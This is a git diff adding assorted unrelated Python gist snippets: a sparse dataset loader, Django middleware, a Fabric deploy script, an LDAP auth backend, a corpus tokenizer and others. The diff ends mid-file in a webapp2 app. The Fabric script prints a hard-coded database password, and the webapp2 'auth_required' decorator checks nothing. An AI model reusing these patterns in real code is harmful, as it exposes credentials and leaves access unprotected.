+  return dataset.y.shape[1]
+
+class SparseExpanderDataset(Dataset):
+    """
+    SparseExpanderDataset takes a numpy/scipy sparse matrix and calls .todense()
+    as the batches are passed out of the iterator.
+    """
+
+
+    def __init__(self, X_path=None, y_path=None, from_scipy_sparse_dataset=None, zipped_npy=False):
+
+        self.X_path = X_path
+        self.y_path = y_path
+
+        if self.X_path != None:
+            if zipped_npy == True:
+                logger.info('... loading sparse data set from a zip npy file')
+                self.X = scipy.sparse.csr_matrix(
+                    numpy.load(gzip.open(X_path)), dtype=floatX)
+            else:
+                logger.info('... loading sparse data set from a npy file')
+                self.X = scipy.sparse.csr_matrix(
+                    numpy.load(X_path).item(), dtype=floatX)
+        else:
+            logger.info('... building from given sparse dataset')
+            self.X = from_scipy_sparse_dataset
+
+
+        if self.y_path != None:
+            if zipped_npy == True:
+                logger.info('... loading sparse data set from a zip npy file')
+                self.y = scipy.sparse.csr_matrix(
+                    numpy.load(gzip.open(y_path)), dtype=floatX).todense()
+            else:
+                logger.info('... loading sparse data set from a npy file')
+                self.y = scipy.sparse.csr_matrix(
+                    numpy.load(y_path).item(), dtype=floatX)
+        else:
+            logger.info('... building from given sparse dataset')
+            self.X = from_scipy_sparse_dataset
+
+        self.data_n_rows = self.X.shape[0]
+        self.num_examples = self.data_n_rows
+        self.fancy = False
+        self.stochastic = False
+        X_space = VectorSpace(dim=self.X.shape[1])
+        X_source = 'features'
+        if y_path is None:
+            space = X_space
+            source = X_source
+        else:
+            if self.y.ndim == 1:
+                dim = 1
+            else:
+                dim = self.y.shape[-1]
+            y_space = VectorSpace(dim=dim)
+            y_source = 'targets'
+
+            space = CompositeSpace((X_space, y_space))
+            source = (X_source, y_source)
+
+        self.data_specs = (space, source)
+        self.X_space = X_space
+        self._iter_data_specs = (self.X_space, 'features')
+
+
+
+    def get_design_matrix(self):
+        return self.X
+
+    def get_batch_design(self, batch_size, include_labels=False):
+        """
+        method inherited from Dataset
+        """
+        self.iterator(mode='sequential', batch_size=batch_size)
+        return self.next()
+
+    def get_batch_topo(self, batch_size):
+        """
+        method inherited from Dataset
+        """
+        raise NotImplementedError('Not implemented for sparse dataset')
+
+    def get_data_specs(self):
+        """
+        Returns the data_specs specifying how the data is internally stored.
+
+        This is the format the data returned by `self.get_data()` will be.
+        """
+        return self.data_specs
+
+    def get_data(self):
+      """
+      Returns
+      -------
+      data : numpy matrix or 2-tuple of matrices
+          Returns all the data, as it is internally stored.
+          The definition and format of these data are described in
+          `self.get_data_specs()`.
+      """
+      if self.y is None:
+          return self.X
+      else:
+          return (self.X, self.y)
+
+    @functools.wraps(Dataset.iterator)
+    def iterator(self, mode=None, batch_size=None, num_batches=None,
+      topo=None, targets=None, rng=None, data_specs=None,
+      return_tuple=False):
+        """
+        method inherited from Dataset
+        """
+        self.mode = mode
+        self.batch_size = batch_size
+        self._targets = targets
+        self._return_tuple = return_tuple
+        if data_specs is None:
+                data_specs = self._iter_data_specs
+
+            # If there is a view_converter, we have to use it to convert
+            # the stored data for "features" into one that the iterator
+            # can return.
+        # if
+        self.conv_fn = lambda x: x.todense()
+        space, source = data_specs
+        if isinstance(space, CompositeSpace):
+            sub_spaces = space.components
+            sub_sources = source
+        else:
+            sub_spaces = (space,)
+            sub_sources = (source,)
+
+        convert = []
+        for sp, src in safe_zip(sub_spaces, sub_sources):
+            if src == 'features' or 'targets':
+                conv_fn = self.conv_fn
+            else:
+                conv_fn = None
+
+            convert.append(conv_fn)
+
+        if mode is None:
+            if hasattr(self, '_iter_subset_class'):
+                mode = self._iter_subset_class
+            else:
+                raise ValueError('iteration mode not provided and no default '
+                                 'mode set for %s' % str(self))
+        else:
+            mode = resolve_iterator_class(mode)
+
+
+        return FiniteDatasetIterator(self,
+                                     mode(self.X.shape[0],
+                                          batch_size,
+                                          num_batches,
+                                          rng),
+                                     data_specs=data_specs,
+                                     return_tuple=return_tuple,
+                                     convert=convert)
+
+
+
+    def __iter__(self):
+        return self
+
+    def next(self):
+        indx = self.subset_iterator.next()
+        try:
+            rval = self.X[indx].todense()
+        except IndexError:
+            # the ind of minibatch goes beyond the boundary
+            import ipdb; ipdb.set_trace()
+        rval = tuple(rval)
+        if not self._return_tuple and len(rval) == 1:
+            rval, = rval
+        return rval
diff --git a/hard-gists/1029870/._snippet.py b/hard-gists/1029870/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1029870/._snippet.py differ
diff --git a/hard-gists/1029870/snippet.py b/hard-gists/1029870/snippet.py
new file mode 100644
index 00000000..2a8a12e6
--- /dev/null
+++ b/hard-gists/1029870/snippet.py
@@ -0,0 +1,44 @@
+import objc
+import AddressBook as ab
+
+import pprint as pp
+
+def pythonize(objc_obj):
+    if isinstance(objc_obj, objc.pyobjc_unicode):
+        return unicode(objc_obj)
+    elif isinstance(objc_obj, ab.NSDate):
+        return objc_obj.description()
+    elif isinstance(objc_obj, ab.NSCFDictionary):
+        # implicitly assuming keys are strings...
+        return {k.lower(): pythonize(objc_obj[k])
+                for k in objc_obj.keys()}
+    elif isinstance(objc_obj, ab.ABMultiValueCoreDataWrapper):
+        return [pythonize(objc_obj.valueAtIndex_(index))
+                for index in range(0, objc_obj.count())]
+
+
+_default_skip_properties = frozenset(("com.apple.ABPersonMeProperty",
+                                      "com.apple.ABImageData"))
+def ab_person_to_dict(person, skip=None):
+    skip = _default_skip_properties if skip is None else frozenset(skip)
+    props = person.allProperties()
+    return {prop.lower(): pythonize(person.valueForProperty_(prop))
+            for prop in props if prop not in skip}
+
+def address_book_to_list():
+    """
+    Read the current user's AddressBook database, converting each person
+    in the address book into a Dictionary of values. Some values (addresses,
+    phone numbers, email, etc) can have multiple values, in which case a
+    list of all of those values is stored. The result of this method is
+    a List of Dictionaries, with each person represented by a single record
+    in the list.
+
+    Function adapted from: https://gist.github.com/pklaus/1029870
+    """
+    address_book = ab.ABAddressBook.sharedAddressBook()
+    people = address_book.people()
+    return [ab_person_to_dict(person) for person in people]
+
+pp.pprint(address_book_to_list())
+
diff --git a/hard-gists/10335601/._snippet.py b/hard-gists/10335601/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10335601/._snippet.py differ
diff --git a/hard-gists/10335601/snippet.py b/hard-gists/10335601/snippet.py
new file mode 100644
index 00000000..c26f082c
--- /dev/null
+++ b/hard-gists/10335601/snippet.py
@@ -0,0 +1,20 @@
+import sublime, sublime_plugin
+
+def open_url(url):
+    sublime.active_window().run_command("open_url", { "url": url })
+
+class PromptQuickDocCommand(sublime_plugin.WindowCommand):
+    def run(self):
+        self.window.show_input_panel("Documentation Search:", "", self.on_done, None, None)
+        pass
+
+    def on_done(self, text):
+        try:
+            if self.window.active_view():
+                self.window.active_view().run_command("quick_doc", {"text": text} )
+        except ValueError:
+            pass
+
+class QuickDocCommand(sublime_plugin.TextCommand):
+    def run(self, edit, text):
+        open_url("http://en.cppreference.com/mwiki/index.php?title=Special:Search&search=%s" % text)
diff --git a/hard-gists/1035190/._snippet.py b/hard-gists/1035190/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1035190/._snippet.py differ
diff --git a/hard-gists/1035190/snippet.py b/hard-gists/1035190/snippet.py
new file mode 100644
index 00000000..a7173fff
--- /dev/null
+++ b/hard-gists/1035190/snippet.py
@@ -0,0 +1,66 @@
+# https://gist.github.com/1035190
+# See also: Snippets 85, 240, 880 at http://www.djangosnippets.org/
+#
+# Minimally, the following settings are required:
+#
+#     SSL_ENABLED = True
+#     SSL_URLS = (
+#        r'^/some/pattern/',
+#     )
+
+
+import re
+from django.http import HttpResponseRedirect, get_host
+from django.conf import settings
+
+
+SSL_ENABLED = getattr(settings, 'SSL_ENABLED', False)
+SSL_URLS = getattr(settings, 'SSL_URLS', [])
+SSL_IGNORE_URLS = getattr(settings, 'SSL_IGNORE_URLS', [])
+HTTP_HOST = getattr(settings, 'HTTP_HOST', None)
+HTTPS_HOST = getattr(settings, 'HTTPS_HOST', None)
+
+
+class SSLRedirectMiddleware:
+    """
+    Django middleware that redirects to https if the requested path matches
+    a pattern in SSL_URLS.
+    """
+
+    secure_urls = tuple([re.compile(url) for url in SSL_URLS])
+    ignore_urls = tuple([re.compile(url) for url in SSL_IGNORE_URLS])
+
+    def process_request(self, request):
+        if not SSL_ENABLED:
+            return
+        secure = False
+        ignore = False
+        for url in self.ignore_urls:
+            if url.match(request.path):
+                ignore = True
+                break
+        if not ignore:
+            for url in self.secure_urls:
+                if url.match(request.path):
+                    secure = True
+                    break
+            if not secure == self._is_secure(request):
+                return self._redirect(request, secure)
+
+    def _is_secure(self, request):
+        if request.is_secure():
+            return True
+        return False
+
+    def _redirect(self, request, secure):
+        protocol = secure and 'https' or 'http'
+        if secure:
+            host = HTTPS_HOST or get_host(request)
+        else:
+            host = HTTP_HOST or get_host(request)
+        url = '%s://%s%s' % (protocol, host, request.get_full_path())
+        if settings.DEBUG and request.method == 'POST':
+            raise RuntimeError, "Django can't perform an SSL redirect while " \
+                + "maintaining POST data. Please structure your views so " \
+                + "that redirects only occur during GETs."
+        return HttpResponseRedirect(url)
diff --git a/hard-gists/10354951/._snippet.py b/hard-gists/10354951/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10354951/._snippet.py differ
diff --git a/hard-gists/10354951/snippet.py b/hard-gists/10354951/snippet.py
new file mode 100644
index 00000000..9cfa0051
--- /dev/null
+++ b/hard-gists/10354951/snippet.py
@@ -0,0 +1,75 @@
+#!/usr/bin/env python
+
+from io.crate.udf import UserDefinedScalarFunction, UserDefinedAggregationFunction
+from io.crate.operation.aggregation import AggregationState
+from io.crate import DataType
+from io.crate.metadata import FunctionIdent, FunctionInfo
+from java.util import Arrays
+from java.lang import Long
+
+
+class PythonMax(UserDefinedAggregationFunction):
+
+    class PythonMaxState(AggregationState):
+
+        def __init__(self):
+            self._value = 0
+
+        def value(self):
+            return self._value
+
+        def add(self, value):
+            if not value:
+                return
+            if not self._value:
+                self._value = value
+            elif value > self._value:
+                self._value = value
+
+        def reduce(self, other):
+            if other:
+                self.add(other.value())
+
+
+    def name(self):
+        return 'python_max'
+
+    def ident(self):
+        return FunctionIdent(self.name(), Arrays.asList(DataType.INTEGER))
+
+    def info(self):
+        return FunctionInfo(self.ident(), DataType.LONG, True)
+
+    def dynamicFunctionResolver(self):
+        return None
+
+    def normalizeSymbol(self, symbol):
+        return symbol
+
+    def iterate(self, state, inputs):
+        state.add(inputs[0].value())
+
+    def newState(self):
+        return self.PythonMaxState()
+
+
+class MathMin(UserDefinedScalarFunction):
+
+    def name(self):
+        return 'math_min'
+
+    def ident(self):
+        return FunctionIdent(self.name(),
+                             Arrays.asList(DataType.LONG, DataType.LONG))
+
+    def info(self):
+        return FunctionInfo(self.ident(), DataType.LONG)
+
+    def normalizeSymbol(self, symbol):
+        return symbol
+
+    def dynamicFunctionResolver(self):
+        return None
+
+    def evaluate(self, args):
+        return Long(min(args[0].value(), args[1].value()))
\ No newline at end of file
diff --git a/hard-gists/1035890/._snippet.py b/hard-gists/1035890/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1035890/._snippet.py differ
diff --git a/hard-gists/1035890/snippet.py b/hard-gists/1035890/snippet.py
new file mode 100644
index 00000000..f64216dc
--- /dev/null
+++ b/hard-gists/1035890/snippet.py
@@ -0,0 +1,202 @@
+
+from deployment.cuisine import *
+from fabric.api import *
+from fabric.context_managers import *
+from fabric.utils import puts
+from fabric.colors import red, green
+
+import simplejson
+import os
+
+
+GIT_REPO = 'git@github.com:Vossy/redacted-webapp.git'
+
+
+def app_user(command):
+    '''
+    This helper method runs the given command as the webapp user.
+    '''
+    sudo(command, user='redacted_webapp')
+
+
+def production():
+    puts(red('Using PRODUCTION settings'))
+    env.hosts = ['app.redacted.com']
+    env.user = '***********'
+    env.password = '***********'
+
+
+def setup_packages():
+    puts(green('Installing Ubuntu packages'))
+    sudo('apt-get update')
+    package_ensure('nginx')
+    package_ensure('postgresql')
+    package_ensure('supervisor')
+    package_ensure('git-core')
+    package_ensure('ufw') # may have to install by hand
+    
+    package_ensure('python-pip')
+    package_ensure('python-psycopg2')
+    package_ensure('python-imaging')
+
+
+def setup_users():
+    puts(green('Creating Ubuntu users'))
+    
+    user_ensure('redacted_webapp')
+    
+
+def configure_firewall():
+    puts(green('Configuring server firewall'))
+    
+    sudo('ufw allow proto tcp from any to any port 22')
+    sudo('ufw allow 80')
+    sudo('ufw --force enable')
+
+
+def configure_nginx():
+    puts(green('Configuring Nginx web server'))
+    
+    config_template = text_strip_margin('''
+    |
+    |server {
+    |   server_name app.redacted.com;
+    |
+    |   access_log /srv/redacted-webapp/logs/nginx_access.log;
+    |
+    |   location /static/ {
+    |       alias /srv/redacted-webapp/src/media/;
+    |       autoindex on;
+    |   }
+    |
+    |   location /media/ {
+    |       alias /srv/redacted-webapp/shortcuts/admin_media/;
+    |   }
+    |
+    |   location / {
+    |       proxy_pass http://127.0.0.1:9001/;
+    |       proxy_redirect off;
+    |       proxy_set_header Host $host;
+    |       proxy_set_header   X-Real-IP        $remote_addr;
+    |       proxy_set_header   X-Forwarded-For  $proxy_add_x_forwarded_for;
+    |   }
+    |
+    |}
+    |
+    ''')
+    
+    file_write('/etc/nginx/sites-available/redacted.conf', config_template)
+    
+    if not dir_exists('/srv/redacted-webapp/shortcuts/admin_media'):
+        run('ln -s /usr/local/lib/python2.6/dist-packages/django/contrib/admin/media /srv/redacted-webapp/shortcuts/admin_media')
+    
+    if file_exists('/etc/nginx/sites-enabled/default'):
+        sudo('rm /etc/nginx/sites-enabled/default')
+    
+    if not file_exists('/etc/nginx/sites-enabled/redacted.conf'):
+        sudo('ln -s /etc/nginx/sites-available/redacted.conf /etc/nginx/sites-enabled/redacted.conf')
+    
+    sudo('service nginx reload')
+    
+
+def configure_postgresql():
+    print red('''MANUAL STEP: create Postgres user 'redacted' with password '2011Superhero' ''')
+    print red('''MANUAL STEP: create Postgres database 'redacted_webapp' owned by 'redacted' user''')
+    
+    
+def configure_supervisor():
+    puts(green('Configuring the supervisor process'))
+
+    runner_script = text_strip_margin('''
+    |#!/bin/bash
+    |
+    |cd /srv/redacted-webapp/src
+    |exec gunicorn_django --bind=127.0.0.1:9001
+    |
+    ''')
+    
+    file_write('/srv/redacted-webapp/bin/runserver', runner_script, mode='a+rx')
+
+    supervisor_conf = text_strip_margin('''
+    |
+    |[program:redacted-webapp]
+    |command=/srv/redacted-webapp/bin/runserver
+    |user=redacted_webapp
+    |
+    ''')
+    
+    file_write('/etc/supervisor/conf.d/redacted.conf', supervisor_conf)
+
+
+def setup_folders():
+    puts(green('Setting up on-disk folders'))
+    
+    dir_ensure('/srv/redacted-webapp', owner='redacted_webapp', group='redacted_webapp')
+    dir_ensure('/srv/redacted-webapp/src/media', owner='redacted_webapp', group='redacted_webapp')
+    dir_ensure('/srv/redacted-webapp/shortcuts', owner='redacted_webapp', group='redacted_webapp')
+    dir_ensure('/srv/redacted-webapp/logs', owner='www-data', group='www-data')
+    dir_ensure('/srv/redacted-webapp/bin', owner='www-data', group='www-data')
+    
+
+def clone_from_github():
+
+    puts(green('Fetching latest code from GitHub'))
+
+    with cd('/srv/redacted-webapp/'):
+    
+        if dir_exists('/srv/redacted-webapp/src'):
+            with cd('/srv/redacted-webapp/src'):
+                app_user('git checkout -- .')
+                app_user('git pull')
+        else:
+            app_user('git clone %s src' % GIT_REPO)
+            
+    with cd('/srv/redacted-webapp/src'):
+    
+        puts(green('Installing app dependencies'))
+    
+        run('pip install -r requirements.txt')
+        
+        puts(green('Injecting database settings'))
+        
+        db_settings = text_strip_margin('''
+        |
+        |DATABASES = {
+        |   'default': {
+        |       'ENGINE': 'django.db.backends.postgresql_psycopg2',
+        |       'NAME': 'redacted_webapp',
+        |       'USER': '***********',
+        |       'PASSWORD': '***********',
+        |   }
+        |}
+        |
+        ''')
+        
+        file_append('settings.py', db_settings)
+    
+        puts(green('Syncing database models'))
+    
+        run('python manage.py syncdb')
+        run('python manage.py migrate')
+        
+    
+def restart_web_server():
+    puts(green('Reloading the supervisor process'))
+    
+    sudo('supervisorctl reload')
+
+
+def deploy():
+    puts(green('Starting deployment'))
+    setup_packages()
+    setup_users()
+    setup_folders()
+    
+    configure_firewall()
+    configure_nginx()
+    configure_postgresql()
+    configure_supervisor()
+    
+    clone_from_github()
+    
+    restart_web_server()
diff --git a/hard-gists/1036883/._snippet.py b/hard-gists/1036883/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1036883/._snippet.py differ
diff --git a/hard-gists/1036883/snippet.py b/hard-gists/1036883/snippet.py
new file mode 100644
index 00000000..3cb181c6
--- /dev/null
+++ b/hard-gists/1036883/snippet.py
@@ -0,0 +1,112 @@
+import logging
+log = logging.getLogger('socrates')
+
+from Queue import Empty, Full, Queue
+
+from riak.transports import RiakPbcTransport
+from riak.transports.transport import RiakTransport
+
+
+class PbcPoolTransport(RiakTransport):
+    """Threadsafe pool of PBC connections, based on urllib3's pool [aka Queue]"""
+    def __init__(self, host='127.0.0.1', port=8087, client_id=None, maxsize=0, block=False, timeout=None):
+        self.host = host
+        self.port = port
+        self.client_id = client_id
+        self.block = block
+        self.timeout = timeout
+
+        self.pool = Queue(None)
+        [self.pool.put(None) for _ in xrange(maxsize)]
+
+        self.num_connections = 0
+        self.num_requests = 0
+
+    def _new_conn(self):
+        """New PBC connection"""
+        self.num_connections += 1
+        log.info('Starting new connection (%d): %s', self.num_connections, self.host)
+        return RiakPbcTransport(self.host, self.port, self.client_id)
+
+    def _get_conn(self):
+        conn = None
+        try:
+            conn = self.pool.get(block=self.block, timeout=self.timeout)
+        except Empty, e:
+            pass
+        return conn or self._new_conn()
+
+    def _put_conn(self, conn):
+        try:
+            self.pool.put(conn, block=False)
+        except Full, e:
+            self.num_connections -= 1
+            # conn.close()
+            log.warning("Connection pool is full, discarding connection: %s", self.host)
+
+    def _make_call(self, function):
+        """checkout conn, try operation, put conn back in pool"""
+        self.num_requests += 1
+        conn = None
+        rv = None
+        try:
+            conn = self._get_conn()
+            rv = function(conn)
+        finally:
+            self._put_conn(conn)
+        return rv
+
+    def ping(self):
+        """
+        Ping the remote server
+        @return boolean
+        """
+        return self._make_call(lambda conn: conn.ping())
+
+    def get(self, robj, r = None, vtag = None):
+        """
+        Serialize get request and deserialize response
+        @return (vclock=None, [(metadata, value)]=None)
+        """
+        return self._make_call(lambda conn: conn.get(robj, r, vtag))
+
+    def put(self, robj, w = None, dw = None, return_body = True):
+        """
+        Serialize put request and deserialize response - if 'content'
+        is true, retrieve the updated metadata/content
+        @return (vclock=None, [(metadata, value)]=None)
+        """
+        return self._make_call(lambda conn: conn.put(robj, w, dw, return_body))
+
+    def delete(self, robj, rw = None):
+        """
+        Serialize delete request and deserialize response
+        @return true
+        """
+        return self._make_call(lambda conn: conn.delete(robj, rw))
+
+    def get_bucket_props(self, bucket) :
+        """
+        Serialize get bucket property request and deserialize response
+        @return dict()
+        """
+        return self._make_call(lambda conn: conn.get_bucket_props(bucket))
+
+    def set_bucket_props(self, bucket, props) :
+        """
+        Serialize set bucket property request and deserialize response
+        bucket = bucket object
+        props = dictionary of properties
+        @return boolean
+        """
+        return self._make_call(lambda conn: conn.set_bucket_props(bucket, props))
+
+    def mapred(self, inputs, query, timeout = None) :
+        """
+        Serialize map/reduce request
+        """
+        return self._make_call(lambda conn: conn.mapred(inputs, query, timeout))
+
+    def set_client_id(self, client_id):
+        """Uh hrm, this statefulness needs to persist better to manually call _get_conn etc"""
+        return self._make_call(lambda conn: conn.set_client_id(client_id))
diff --git a/hard-gists/1038987/._snippet.py b/hard-gists/1038987/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1038987/._snippet.py differ
diff --git a/hard-gists/1038987/snippet.py b/hard-gists/1038987/snippet.py
new file mode 100644
index 00000000..045ee1b5
--- /dev/null
+++ b/hard-gists/1038987/snippet.py
@@ -0,0 +1,20 @@
+# Example usage:
+# with temporary_settings(CELERY_ALWAYS_EAGER=True):
+#     run_task.delay() # runs task with eager setting enabled.
+
+from contextlib import contextmanager
+from django.conf import settings
+
+@contextmanager
+def temporary_settings(**temp_settings):
+    orig_settings = {}
+    for key, value in temp_settings.iteritems():
+        if hasattr(settings, key):
+            orig_settings[key] = getattr(settings, key)
+        setattr(settings, key, value)
+    yield
+    for key, value in temp_settings.iteritems():
+        if orig_settings.has_key(key):
+            setattr(settings, key, orig_settings[key])
+        else:
+            delattr(settings, key)
\ No newline at end of file
diff --git a/hard-gists/1040366/._snippet.py b/hard-gists/1040366/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1040366/._snippet.py differ
diff --git a/hard-gists/1040366/snippet.py b/hard-gists/1040366/snippet.py
new file mode 100644
index 00000000..15c1e5f9
--- /dev/null
+++ b/hard-gists/1040366/snippet.py
@@ -0,0 +1,86 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import logging
+import sys
+import os.path
+import bz2
+
+from gensim.corpora import WikiCorpus
+from gensim.corpora.wikicorpus import filterWiki
+import MeCab
+
+logger = logging.getLogger('jawikicorpus')
+logger.setLevel(logging.INFO)
+
+tagger = MeCab.Tagger()
+
+DEFAULT_DICT_SIZE = 100000
+ARTICLE_MIN_CHARS = 500
+
+def jatokenize(text):
+    node = tagger.parseToNode(text.encode('utf-8')).next
+    while node:
+        if node.feature.split(',')[0] == '名詞':
+            yield node.surface.lower()
+        node = node.next
+
+def tokenize(content):
+    return [token for token in jatokenize(content) if not token.startswith('_')]
+
+class JaWikiCorpus(WikiCorpus):
+    def getArticles(self, return_raw=False):
+        articles, articles_all = 0, 0
+        intext, positions = False, 0
+        for lineno, line in enumerate(bz2.BZ2File(self.fname)):
+            if line.startswith('      <text'):
+                intext = True
+                line = line[line.find('>') + 1 : ]
+                lines = [line]
+            elif intext:
+                lines.append(line)
+            pos = line.find('</text>') # can be on the same line as <text>
+            if pos >= 0:
+                articles_all += 1
+                intext = False
+                if not lines:
+                    continue
+                lines[-1] = line[:pos]
+                text = filterWiki(''.join(lines))
+                if len(text) > ARTICLE_MIN_CHARS: # article redirects are pruned here
+                    articles += 1
+                    if return_raw:
+                        result = text
+                    else:
+                        result = tokenize(text) # text into tokens here
+                        positions += len(result)
+                    yield result
+
+        logger.info("finished iterating over Wikipedia corpus of %i documents with %i positions"
+                     " (total %i articles before pruning)" %
+                     (articles, positions, articles_all))
+        self.numDocs = articles # cache corpus length
+
+if __name__ == '__main__':
+    logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s')
+    logging.root.setLevel(level=logging.INFO)
+    logging.info("running %s" % ' '.join(sys.argv))
+    program = os.path.basename(sys.argv[0])
+    if len(sys.argv) < 3:
+        print globals()['__doc__'] % locals()
+        sys.exit(1)
+    input, output = sys.argv[1:3]
+    if len(sys.argv) > 3:
+        keep_words = int(sys.argv[3])
+    else:
+        keep_words = DEFAULT_DICT_SIZE
+    wiki = JaWikiCorpus(input, keep_words=keep_words)
+    wiki.saveAsText(output)
+    del wiki
+    from gensim.corpora import MmCorpus
+    id2token = JaWikiCorpus.loadDictionary(output + '_wordids.txt')
+    mm = MmCorpus(output + '_bow.mm')
+    from gensim.models import TfidfModel
+    tfidf = TfidfModel(mm, id2word=id2token, normalize=True)
+    MmCorpus.saveCorpus(output + '_tfidf.mm', tfidf[mm], progressCnt=10000)
+    logging.info("finished running %s" % program)
\ No newline at end of file
diff --git a/hard-gists/1041172/._snippet.py b/hard-gists/1041172/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1041172/._snippet.py differ
diff --git a/hard-gists/1041172/snippet.py b/hard-gists/1041172/snippet.py
new file mode 100644
index 00000000..7cb82105
--- /dev/null
+++ b/hard-gists/1041172/snippet.py
@@ -0,0 +1,30 @@
+import sys
+from PIL import Image
+from gameduino import prep
+
+
+image_path = ""
+h_name = ""
+
+# retrieve the command line arguments
+if (len(sys.argv) > 2):
+	image_path = sys.argv[1]
+	sprite_name = sys.argv[2]
+else:
+	print "Not all commands entered"
+	sys.exit(0)
+
+# create the header file
+hdr = open(sprite_name+".h", "w")
+ir = prep.ImageRAM(hdr)
+
+im = Image.open(image_path)
+
+# show the image to be changed
+im.show()
+
+sprite = prep.palettize(im, 4)
+
+# dump to a h file
+prep.dump(hdr, sprite_name+"_palette", sprite)
+ir.addsprites(sprite_name, (16,16), sprite, prep.PALETTE4A)
\ No newline at end of file
diff --git a/hard-gists/1042719/._snippet.py b/hard-gists/1042719/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1042719/._snippet.py differ
diff --git a/hard-gists/1042719/snippet.py b/hard-gists/1042719/snippet.py
new file mode 100644
index 00000000..89103733
--- /dev/null
+++ b/hard-gists/1042719/snippet.py
@@ -0,0 +1,62 @@
+# LDAP Remote User Backend for Django 1.3
+# Hugh Saunders - hugh@wherenow.org
+# Written for the Surgical Materials Testing Laboratory - http://smtl.co.uk
+# 2011
+
+from django.contrib.auth.backends import RemoteUserBackend
+import settings as s
+import ldap
+
+class LDAPRemoteUserBackend(RemoteUserBackend):
+	""" RemoteUserBackend for checking user/pass against REMOTE_USER
+	and putting users in groups based on LDAP
+
+	The following settings are required in settings.py:
+	LDAP_SERVER='ldap://ldap.example.com'
+	LDAP_SEARCH_TREE='ou=groups,dc=example,dc=com'
+	LDAP_FILTER='(cn=example-django-group)'
+	LDAP_FIELD='memberUid'
+	ALL_USERS_GROUP=1
+	"""
+	
+	def clean_username(self,username):
+		"""Map REMOTE_USER to a django user. 
+		In this case, REMOTE_USER is set by apache after 
+		authenticating a kerberos user. REMOTE_USER
+		is supplied with the kerberos domain appended 'eg user@domain', 
+		this method strips the '@domain' section."""
+		clean_username=username.split('@')[0]
+		return clean_username
+
+	def configure_user(self,user):
+		"""Set user groups and privs. 
+		This method is called the first time a non-django user logs in.
+		A user is created in the django database, this method
+		adds the new user to the appropriate groups, and 
+		sets privs. """
+
+		#Add all remote users to a group
+		user.groups.add(s.ALL_USERS_GROUP)
+
+		#all remote users are staff - so they can access the admin interface
+		user.is_staff=True
+
+		#To determine if the user is to have further priviledges
+		#we consult LDAP
+
+		#connect to ldap server
+		l = ldap.initialize(s.LDAP_SERVER)
+
+		#get list of superusers
+		superusers=l.search_s(s.LDAP_SEARCH_TREE,\
+				ldap.SCOPE_SUBTREE,\
+				s.LDAP_FILTER)\
+				[0][1][s.LDAP_FIELD]
+
+		#close LDAP Connection
+		l.unbind()
+
+		#Check if this user should be a superuser. 
+		if user.username in superusers:
+			user.is_superuser=True
+		user.save()
diff --git a/hard-gists/1042778/._snippet.py b/hard-gists/1042778/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1042778/._snippet.py differ
diff --git a/hard-gists/1042778/snippet.py b/hard-gists/1042778/snippet.py
new file mode 100644
index 00000000..24e38fd2
--- /dev/null
+++ b/hard-gists/1042778/snippet.py
@@ -0,0 +1,69 @@
+#!/usr/bin/env python
+
+# The output geneally looks like this:
+#
+#    $ ./serialization.py
+#    Dumping:
+#      json: 6.40960884094
+#      simplejson: 6.82945179939
+#      cjson: 2.23045802116
+#      ujson: 0.806604146957
+#      cPickle: 6.72593593597
+#    Loading:
+#      json: 8.34801983833
+#      simplejson: 3.70781588554
+#      cjson: 1.73801183701
+#      ujson: 1.10599803925
+#      cPickle: 3.06558394432
+#
+
+import time
+
+import cPickle
+import simplejson
+import json
+import cjson # python-cjson in pypi
+import ujson
+
+### Make cjson's interface match the others
+cjson.dumps = cjson.encode
+cjson.loads = cjson.decode
+
+### Prepare data structures
+data_as_dict = {
+    'foo': 'bar',
+    'food': 'barf',
+    'good': 'bars',
+    'dood': 'wheres your car?',
+    'wheres your car': 'dude?',
+}
+data_as_json = json.dumps(data_as_dict)
+data_as_pickled = cPickle.dumps(data_as_dict)
+
+### 
+num_loop_iterations = 1000000
+
+### List of JSON implementations to test
+mods = [json, simplejson, cjson, ujson, cPickle]
+
+
+### Time dumping from native to JSON
+print 'Dumping:'
+for mod in mods:
+    start = time.time()
+    for i in xrange(num_loop_iterations):
+        mod.dumps(data_as_dict)
+    print '  %s: %s' % (mod.__name__, (time.time() - start))
+
+
+### Time loading from JSON into native
+print 'Loading:'
+for mod in mods:
+    data = data_as_json
+    if mod.__name__ == "cPickle":
+        data = data_as_pickled
+        
+    start = time.time()
+    for i in xrange(num_loop_iterations):
+        mod.loads(data)
+    print '  %s: %s' % (mod.__name__, (time.time() - start))
diff --git a/hard-gists/10438748/._snippet.py b/hard-gists/10438748/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10438748/._snippet.py differ
diff --git a/hard-gists/10438748/snippet.py b/hard-gists/10438748/snippet.py
new file mode 100644
index 00000000..b76a1fb2
--- /dev/null
+++ b/hard-gists/10438748/snippet.py
@@ -0,0 +1,152 @@
+# -*- coding: utf-8 -*-
+import webapp2
+from model import *
+from google.appengine.api import memcache
+import hashlib
+import logging
+import random
+import string
+
+import json
+import datetime
+import time
+import email.utils
+#from google.appengine.api import users
+#from ndb import model, query
+ 
+def auth_required(handler):
+  """Requires that a user be logged in to access the resource"""
+  def check_login(self, *args, **kwargs):
+      return handler(self, *args, **kwargs)
+  return check_login
+
+#https://gist.github.com/brysgo/1572547
+class ModelEncoder(json.JSONEncoder):
+  """ 
+  Extends JSONEncoder to add support for NDB Models and query results.
+  
+  Adds support to simplejson JSONEncoders for NDB Models and query results by
+  overriding JSONEncoder's default method.
+  """
+  def default(self, obj):
